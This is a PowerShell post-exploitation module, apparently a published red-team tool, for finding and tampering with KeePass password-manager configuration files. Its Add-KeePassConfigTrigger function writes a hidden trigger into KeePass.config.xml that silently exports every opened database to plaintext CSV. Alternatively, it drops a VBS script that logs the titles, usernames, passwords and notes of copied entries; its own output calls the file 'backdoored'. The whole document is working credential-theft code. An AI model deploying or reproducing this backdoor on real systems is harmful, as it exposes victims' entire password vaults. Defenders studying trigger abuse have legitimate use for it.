#requires -version 2 function Find-KeePassconfig { <# .SYNOPSIS Finds and parses any KeePass.config.xml (2.X) and KeePass.ini (1.X) files. Author: @harmj0y License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION This function searches for any KeePass.config.xml (KeePass 2.X) and KeePass.ini (1.X) files in C:\Users\ and C:\Program Files[x86]\ by default, or any path specified by -Path. For any files found, it will parse the XML and output information relevant to the database location and keyfile/user master key information. .PARAMETER Path Optional path to a KeePass.config.xml/KeePass.ini file or specific folder to search for KeePass config files. .EXAMPLE PS C:\> Find-KeePassconfig DefaultDatabasePath : C:\Users\testuser\Desktop\Database2.kdb SecureDesktop : LastUsedFile : C:\Users\testuser\Desktop\Database3.kdb DefaultKeyFilePath : C:\Users\testuser\Desktop\k.bin DefaultUserAccountData : RecentlyUsed : {C:\Users\testuser\Desktop\Database3.kdb, C:\Users\testuser\Desktop\k2.bin} KeePassConfigPath : C:\Users\testuser\Desktop\blah\KeePass-1.31\KeePass.ini DefaultDatabasePath : C:\Users\testuser\Desktop\NewDatabase.kdbx SecureDesktop : False LastUsedFile : C:\Users\testuser\Desktop\NewDatabase.kdbx DefaultKeyFilePath : C:\Users\testuser\Desktop\blah\KeePass-2.34\KeePass.chm DefaultUserAccountData : @{UserDomain=TESTLAB; UserKeePassDPAPIBlob=C:\Users\testuser\AppData\Roaming\KeePass\Protected UserKey.bin; UserSid=S-1-5-21-456218688-4216621462-1491369290-1210; UserName=testuser; UserMas terKeyFiles=System.Object[]} RecentlyUsed : {C:\Users\testuser\Desktop\NewDatabase.kdbx} KeePassConfigPath : C:\Users\testuser\Desktop\blah\KeePass-2.34\KeePass.config.xml #> [CmdletBinding()] param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateScript({Test-Path -Path $_ })] [Alias('FullName')] [String[]] $Path ) BEGIN { function local:Get-IniContent { <# .SYNOPSIS This helper parses an .ini file into a proper PowerShell object. Author: 'The Scripting Guys' Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ .LINK https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ #> [CmdletBinding()] Param( [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] [Alias('FullName')] [ValidateScript({ Test-Path -Path $_ })] [String[]] $Path ) PROCESS { ForEach($TargetPath in $Path) { $IniObject = @{} Switch -Regex -File $TargetPath { "^\[(.+)\]" # Section { $Section = $matches[1].Trim() $IniObject[$Section] = @{} $CommentCount = 0 } "^(;.*)$" # Comment { $Value = $matches[1].Trim() $CommentCount = $CommentCount + 1 $Name = 'Comment' + $CommentCount $IniObject[$Section][$Name] = $Value } "(.+?)\s*=(.*)" # Key { $Name, $Value = $matches[1..2] $Name = $Name.Trim() $Values = $Value.split(',') | ForEach-Object {$_.Trim()} if($Values -isnot [System.Array]) {$Values = @($Values)} $IniObject[$Section][$Name] = $Values } } $IniObject } } } function Local:Get-KeePassINIFields { # helper that parses a 1.X KeePass.ini into a custom object [CmdletBinding()] Param ( [Parameter(Mandatory=$True)] [ValidateScript({ Test-Path -Path $_ })] [String] $Path ) $KeePassINIPath = Resolve-Path -Path $Path $KeePassINIPathParent = $KeePassINIPath | Split-Path -Parent $KeePassINI = Get-IniContent -Path $KeePassINIPath $RecentlyUsed = @() try { if($KeePassINI.KeePass.KeeLastDb) { $LastUsedFile = Resolve-Path -Path "$KeePassINIPathParent\$($KeePassINI.KeePass.KeeLastDb)" -ErrorAction Stop } } catch {} try { if($KeePassINI.KeePass.KeeKeySourceID0) { $DefaultDatabasePath = Resolve-Path -Path $KeePassINI.KeePass.KeeKeySourceID0 -ErrorAction SilentlyContinue } } catch {} try { if($KeePassINI.KeePass.KeeKeySourceValue0) { $DefaultKeyFilePath = Resolve-Path -Path $KeePassINI.KeePass.KeeKeySourceValue0 -ErrorAction SilentlyContinue } } catch {} # grab any additional cached databases/key information $KeePassINI.KeePass.Keys | Where-Object {$_ -match 'KeeKeySourceID[1-9]+'} | Foreach-Object { try { $ID = $_[-1] $RecentlyUsed += $KeePassINI.Keepass["KeeKeySourceID${ID}"] $RecentlyUsed += $KeePassINI.Keepass["KeeKeySourceValue${ID}"] } catch{} } $KeePassINIProperties = @{ 'KeePassConfigPath' = $KeePassINIPath 'SecureDesktop' = $Null 'LastUsedFile' = $LastUsedFile 'RecentlyUsed' = $RecentlyUsed 'DefaultDatabasePath' = $DefaultDatabasePath 'DefaultKeyFilePath' = $DefaultKeyFilePath 'DefaultUserAccountData' = $Null } $KeePassINIInfo = New-Object -TypeName PSObject -Property $KeePassINIProperties $KeePassINIInfo.PSObject.TypeNames.Insert(0, 'KeePass.Config') $KeePassINIInfo } function Local:Get-KeePassXMLFields { # helper that parses a 2.X KeePass.config.xml into a custom object [CmdletBinding()] Param ( [Parameter(Mandatory=$True)] [ValidateScript({ Test-Path -Path $_ })] [String] $Path ) $KeePassXMLPath = Resolve-Path -Path $Path $KeePassXMLPathParent = $KeePassXMLPath | Split-Path -Parent [Xml]$KeePassXML = Get-Content -Path $KeePassXMLPath $LastUsedFile = '' $RecentlyUsed = @() $DefaultDatabasePath = '' $DefaultKeyFilePath = '' $DefaultUserAccountData = $Null if($KeePassXML.Configuration.Application.LastUsedFile) { $LastUsedFile = Resolve-Path -Path "$KeePassXMLPathParent\$($KeePassXML.Configuration.Application.LastUsedFile.Path)" -ErrorAction SilentlyContinue } if($KeePassXML.Configuration.Application.MostRecentlyUsed.Items) { $KeePassXML.Configuration.Application.MostRecentlyUsed.Items | Foreach-Object { Resolve-Path -Path "$KeePassXMLPathParent\$($_.ConnectionInfo.Path)" -ErrorAction SilentlyContinue | Foreach-Object { $RecentlyUsed += $_ } } } if($KeePassXML.Configuration.Defaults.KeySources.Association.DatabasePath) { $DefaultDatabasePath = Resolve-Path -Path "$KeePassXMLPathParent\$($KeePassXML.Configuration.Defaults.KeySources.Association.DatabasePath)" -ErrorAction SilentlyContinue } if($KeePassXML.Configuration.Defaults.KeySources.Association.KeyFilePath) { $DefaultKeyFilePath = Resolve-Path -Path "$KeePassXMLPathParent\$($KeePassXML.Configuration.Defaults.KeySources.Association.KeyFilePath)" -ErrorAction SilentlyContinue } $DefaultUserAccount = $KeePassXML.Configuration.Defaults.KeySources.Association.UserAccount -eq 'true' $SecureDesktop = $KeePassXML.Configuration.Security.MasterKeyOnSecureDesktop -eq 'true' if($DefaultUserAccount) { $UserPath = $Path.Split('\')[0..2] -join '\' $UserMasterKeyFolder = Get-ChildItem -Path "$UserPath\AppData\Roaming\Microsoft\Protect\" -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName if($UserMasterKeyFolder) { $UserSid = $UserMasterKeyFolder | Split-Path -Leaf try { $UserSidObject = (New-Object System.Security.Principal.SecurityIdentifier($UserSid)) $UserNameDomain = $UserSidObject.Translate([System.Security.Principal.NTAccount]).Value $UserDomain, $UserName = $UserNameDomain.Split('\') } catch { Write-Warning "Unable to translate SID from $UserMasterKeyFolder , defaulting to user name" $UserName = $UserPath.Split('\')[-1] $UserDomain = $Null } $UserMasterKeyFiles = @(, $(Get-ChildItem -Path $UserMasterKeyFolder -Force | Select-Object -ExpandProperty FullName) ) } else { $UserSid = $Null $UserName = $Null $UserDomain = $Null } $UserKeePassDPAPIBlob = Get-Item -Path "$UserPath\AppData\Roaming\KeePass\ProtectedUserKey.bin" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName $UserMasterKeyProperties = @{ 'UserSid' = $UserSid 'UserName' = $UserName 'UserDomain' = $UserDomain 'UserKeePassDPAPIBlob' = $UserKeePassDPAPIBlob 'UserMasterKeyFiles' = $UserMasterKeyFiles } $DefaultUserAccountData = New-Object -TypeName PSObject -Property $UserMasterKeyProperties } $KeePassXmlProperties = @{ 'KeePassConfigPath' = $KeePassXMLPath 'SecureDesktop' = $SecureDesktop 'LastUsedFile' = $LastUsedFile 'RecentlyUsed' = $RecentlyUsed 'DefaultDatabasePath' = $DefaultDatabasePath 'DefaultKeyFilePath' = $DefaultKeyFilePath 'DefaultUserAccountData' = $DefaultUserAccountData } $KeePassXmlInfo = New-Object -TypeName PSObject -Property $KeePassXmlProperties $KeePassXmlInfo.PSObject.TypeNames.Insert(0, 'KeePass.Config') $KeePassXmlInfo } } PROCESS { if($PSBoundParameters['Path']) { $XmlFilePaths = $Path } else { # possible locations for KeePass configs $XmlFilePaths = @("$($Env:WinDir | Split-Path -Qualifier)\Users\") $XmlFilePaths += "${env:ProgramFiles(x86)}\" $XmlFilePaths += "${env:ProgramFiles}\" } $XmlFilePaths | Foreach-Object { Get-ChildItem -Path $_ -Recurse -Include @('KeePass.config.xml', 'KeePass.ini') -ErrorAction SilentlyContinue } | Where-Object { $_ } | Foreach-Object { Write-Verbose "Parsing KeePass config file '$($_.Fullname)'" if($_.Extension -eq '.xml') { Get-KeePassXMLFields -Path $_.Fullname } else { Get-KeePassINIFields -Path $_.Fullname } } } } function Get-KeePassConfigTrigger { <# .SYNOPSIS Extracts out the trigger specifications from a KeePass 2.X configuration XML file. Author: @harmj0y License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION This function takes a the path to a KeePass.config.xml file or the input from Find-KeePassConfig, reads the configuration XML, replaces event/action GUIDs with their readable names, and outputs each trigger as a custom PSObject. .PARAMETER Path Required path to a KeePass.config.xml file or an object result from Find-KeePassConfig. .EXAMPLE PS C:\> $Triggers = Find-KeePassconfig | Get-KeePassConfigTrigger PS C:\> $Triggers KeePassXMLPath : C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml Guid : pagwKjmh8U6WbcplUbQnKg== Name : blah Enabled : false InitiallyOn : false Events : Events Conditions : Actions : Actions PS C:\> $Triggers.Events.Event Name Parameters ---- ---------- Opened database file Parameters PS C:\> $Triggers.Actions.Action Name Parameters ---- ---------- Export active database Parameters #> [CmdletBinding()] param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] [Object[]] $Path ) BEGIN { $EventGUIDs = @{ '1M7NtUuYT/KmqeJVJh7I6A==' = 'Application initialized' '2PMe6cxpSBuJxfzi6ktqlw==' = 'Application started and ready' 'goq3q7EcTr+AOTY/kXGXeA==' = 'Application exit' '5f8TBoW4QYm5BvaeKztApw==' = 'Opened database file' 'lcGm/XJ8QMei+VsPoJljHA==' = 'Saving database file' 's6j9/ngTSmqcXdW6hDqbjg==' = 'Saved database file' 'jOremqgXSRmjL/QeOx3sSQ==' = 'Closing database file (before saving)' 'lPpw5bE/QSamTgZP2MNslQ==' = 'Closing database file (after saving)' 'P35exipUTFiVRIX78m9W3A==' = 'Copied entry data to clipboard' 'jRLUmvLLT/eo78/arGJomQ==' = 'User interface state updated' 'R0dZkpenQ6K5aB8fwvebkg==' = 'Custom toolbar button clicked' } $ActionGUIDs = @{ '2uX4OwcwTBOe7y66y27kxw==' = 'Execute command line / URL' 'tkamn96US7mbrjykfswQ6g==' = 'Change trigger on/off state' '/UFV1XmPRPqrifL4cO+UuA==' = 'Open database file' '9VdhS/hMQV2pE3o5zRDwvQ==' = 'Save active database' 'Iq135Bd4Tu2ZtFcdArOtTQ==' = 'Synchronize active database with a file/URL' 'gOZ/TnLxQEWRdh8sI9jsvg==' = 'Import into active database' 'D5prW87VRr65NO2xP5RIIg==' = 'Export active database' 'W79FnVS/Sb2X+yzuX5kKZw==' = 'Close active database' 'P7gzLdYWToeZBWTbFkzWJg==' = 'Activate database (select tab)' 'Oz0+MeSzQqa6zNXAO6ypaQ==' = 'Wait' 'CfePcyTsT+yItiXVMPQ0bg==' = 'Show message box' 'QGmlNlcbR5Kps3NlMODPww==' = 'Perform global auto-type' 'MXCPrWSTQ/WU7sgaI24yTQ==' = 'Perform auto-type with selected entry' 'Qug3gXPTTuyBSJ47NqyDhA==' = 'Show entries by tag' 'lYGPRZlmSYirPoboGpZoNg==' = 'Add custom toolbar button' '1m1BomyyRLqkSApB+glIeQ==' = 'Remove custom toolbar button' } } PROCESS { ForEach($Object in $Path) { if($Object -is [String]) { $KeePassXMLPath = $Object } elseif ($Object.PSObject.Properties['KeePassConfigPath']) { $KeePassXMLPath = [String]$Object.KeePassConfigPath } elseif ($Object.PSObject.Properties['Path']) { $KeePassXMLPath = [String]$Object.Path } elseif ($Object.PSObject.Properties['FullName']) { $KeePassXMLPath = [String]$Object.FullName } else { $KeePassXMLPath = [String]$Object } if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) { $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath $KeePassXML = ([xml](Get-Content -Path $KeePassXMLPath)).InnerXml $EventGUIDs.Keys | Foreach-Object { $KeePassXML = $KeePassXML.Replace($_, $EventGUIDs[$_]) } $ActionGUIDs.Keys | Foreach-Object { $KeePassXML = $KeePassXML.Replace($_, $ActionGUIDs[$_]) } $KeePassXML = $KeePassXML.Replace('TypeGuid', 'Name') $KeePassXML = [xml]$KeePassXML $Triggers = $KeePassXML.SelectNodes('Configuration/Application/TriggerSystem/Triggers') $Triggers | Select-Object -Expand Trigger -ErrorAction SilentlyContinue | ForEach-Object { $_.PSObject.TypeNames.Insert(0, 'KeePass.Trigger') $_ | Add-Member Noteproperty 'KeePassConfigPath' $KeePassXMLPath.Path $_ } } } } } function Add-KeePassConfigTrigger { <# .SYNOPSIS Adds a KeePass exfiltration trigger to a KeePass.config.xml path or result from Find-KeePassConfig. Author: @harmj0y License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Inserts a custom KeePass.config.xml trigger into a KeePass file location. The trigger -Action can either export a database to $ExportPath whenever a database is open ('ExportDatabase') or write an data copied on the clipboard from KeePass to $ExportPath ('ExfilDataCopied'). .PARAMETER Path Required path to a KeePass.config.xml file or an object result from Find-KeePassConfig. .PARAMETER Action Either 'ExportDatabase' (export opened databases to $ExportPath) or 'ExfilDataCopied' (export copied data to $ExportPath). .PARAMETER ExportPath The path to export data and/or the $TriggerName.vbs to. .PARAMETER TriggerName The name for the trigger, default to 'Debug'. .EXAMPLE PS C:\> 'C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml' | Find-KeePassconfig | Add-KeePassConfigTrigger -Verbose VERBOSE: KeePass XML set to export database to C:\Users\harmj0y.TESTLAB\AppData\Roaming\KeePass VERBOSE: C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml backdoored PS C:\> Find-KeePassconfig C:\Users\ | Get-KeePassConfigTrigger KeePassConfigPath : C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml Guid : PtbQvEQp00KFSqVteVdBew== Name : Debug Events : Events Conditions : Actions : Actions #> [CmdletBinding()] param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [Object[]] $Path, [Parameter(Position = 1)] [ValidateSet('ExportDatabase', 'ExfilDataCopied')] [String] $Action = 'ExportDatabase', [Parameter(Position = 2)] [ValidateScript({Test-Path -Path $_ })] [String] $ExportPath = "${Env:APPDATA}\KeePass", [Parameter(Position = 3)] [ValidateNotNullOrEmpty()] [String] $TriggerName = 'Debug' ) BEGIN { $ExportPathFolder = Resolve-Path -Path $ExportPath -ErrorAction Stop if ((Get-Item -Path $ExportPathFolder) -isnot [System.IO.DirectoryInfo]) { throw 'ExportPath must be a directory!' } if($Action -eq 'ExportDatabase') { # 'Opened database file' $EventTriggerGUID = '5f8TBoW4QYm5BvaeKztApw==' # 'Export active database' $ActionGUID = 'D5prW87VRr65NO2xP5RIIg==' $TriggerXML = [xml] @" $([Convert]::ToBase64String([System.GUID]::NewGuid().ToByteArray())) $TriggerName $EventTriggerGUID 0 $ActionGUID $($ExportPath)\{DB_BASENAME}.csv KeePass CSV (1.x) "@ Write-Verbose "KeePass XML set to export database to $ExportPath" } else { # 'ExfilDataCopied' # 'Copied entry data to clipboard' $EventTriggerGUID = 'P35exipUTFiVRIX78m9W3A==' # 'Execute command line / URL' $ActionGUID = '2uX4OwcwTBOe7y66y27kxw==' $ExfilVBSLocation = "$ExportPath\$($TriggerName).vbs" # write out VBS to location above $ExfilVBS = @" Set objArgs = Wscript.Arguments Dim oFS : Set oFS = CreateObject("Scripting.FileSystemObject") Dim objFile : Set objFile = oFS.OpenTextFile("$ExportPath\$($TriggerName).txt", 8, True) For Each strArg in objArgs objFile.Write strArg & "," Next objFile.Write vbCrLf objFile.Close "@ $ExfilVBS | Out-File -Encoding ASCII -FilePath $ExfilVBSLocation Write-Verbose "Exfil VBS output to $ExfilVBSLocation set to export data to $ExportPath\$($TriggerName).txt" $TriggerXML = [xml] @" $([Convert]::ToBase64String([System.GUID]::NewGuid().ToByteArray())) $TriggerName $EventTriggerGUID 0 $ActionGUID %WINDIR%\System32\wscript.exe $ExfilVBSLocation "{TITLE}" "{URL}" "{USERNAME}" "{PASSWORD}" "{NOTES}" False "@ Write-Verbose "KeePass XML set to trigger $ExfilVBSLocation" } } PROCESS { ForEach($Object in $Path) { if($Object -is [String]) { $KeePassXMLPath = $Object } elseif ($Object.PSObject.Properties['KeePassConfigPath']) { $KeePassXMLPath = [String]$Object.KeePassConfigPath } elseif ($Object.PSObject.Properties['Path']) { $KeePassXMLPath = [String]$Object.Path } elseif ($Object.PSObject.Properties['FullName']) { $KeePassXMLPath = [String]$Object.FullName } else { $KeePassXMLPath = [String]$Object } if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) { $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath $KeePassXML = [xml](Get-Content -Path $KeePassXMLPath) $RandomGUID = [System.GUID]::NewGuid().ToByteArray() if ($KeePassXML.Configuration.Application.TriggerSystem.Triggers -is [String]) { $Triggers = $KeePassXML.CreateElement('Triggers') $Null = $Triggers.AppendChild($KeePassXML.ImportNode($TriggerXML.Trigger, $True)) $Null = $KeePassXML.Configuration.Application.TriggerSystem.ReplaceChild($Triggers, $KeePassXML.Configuration.Application.TriggerSystem.SelectSingleNode('Triggers')) } else { $Null = $KeePassXML.Configuration.Application.TriggerSystem.Triggers.AppendChild($KeePassXML.ImportNode($TriggerXML.Trigger, $True)) } $KeePassXML.Save($KeePassXMLPath) Write-Verbose "$KeePassXMLPath backdoored" } } } } function Remove-KeePassConfigTrigger { <# .SYNOPSIS Removes a KeePass exfiltration trigger to a KeePass.config.xml path or result from Find-KeePassConfig. Author: @harmj0y License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Removes any custom a custom KeePass.config.xml trigger into a KeePass file location. The trigger -Action can either export a database to $ExportPath whenever a database is open ('ExportDatabase') or write an data copied on the clipboard from KeePass to $ExportPath ('ExfilDataCopied'). .PARAMETER Path Required path to a KeePass.config.xml file or an object result from Find-KeePassConfig. .PARAMETER Action Either 'ExportDatabase' (export opened databases to $ExportPath) or 'ExfilDataCopied' (export copied data to $ExportPath). .PARAMETER ExportPath The path to export data and/or the $TriggerName.vbs to. .PARAMETER TriggerName The name for the trigger, default to 'Debug'. .EXAMPLE PS C:\> Find-KeePassconfig C:\users\ | Remove-KeePassConfigTrigger Guid : wEIpZ61vk0yV5uENe5z0oA== Name : Debug Events : Events Conditions : Actions : Actions PS C:\> Find-KeePassconfig C:\users\ | Get-KeePassConfigTrigger PS C:\> #> [CmdletBinding()] param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [Object[]] $Path, [Parameter(Position = 1)] [ValidateNotNullOrEmpty()] [String] $TriggerName = '*' ) PROCESS { ForEach($Object in $Path) { if($Object -is [String]) { $KeePassXMLPath = $Object } elseif ($Object.PSObject.Properties['KeePassConfigPath']) { $KeePassXMLPath = [String]$Object.KeePassConfigPath } elseif ($Object.PSObject.Properties['Path']) { $KeePassXMLPath = [String]$Object.Path } elseif ($Object.PSObject.Properties['FullName']) { $KeePassXMLPath = [String]$Object.FullName } else { $KeePassXMLPath = [String]$Object } Write-Verbose "KeePassXMLPath: $KeePassXMLPath" if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) { $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath $KeePassXML = [xml](Get-Content -Path $KeePassXMLPath) $RandomGUID = [System.GUID]::NewGuid().ToByteArray() if ($KeePassXML.Configuration.Application.TriggerSystem.Triggers -isnot [String]) { $Children = $KeePassXML.Configuration.Application.TriggerSystem.Triggers | ForEach-Object {$_.Trigger} | Where-Object {$_.Name -like $TriggerName} Write-Verbose "Removing triggers matching name $TriggerName" ForEach($Child in $Children) { $KeePassXML.Configuration.Application.TriggerSystem.Triggers.RemoveChild($Child) } } try { $KeePassXML.Save($KeePassXMLPath) Write-Verbose "$KeePassXMLPath triggers removed" } catch { Write-Warning "Error setting path $KeePassXMLPath : $_" } } } } }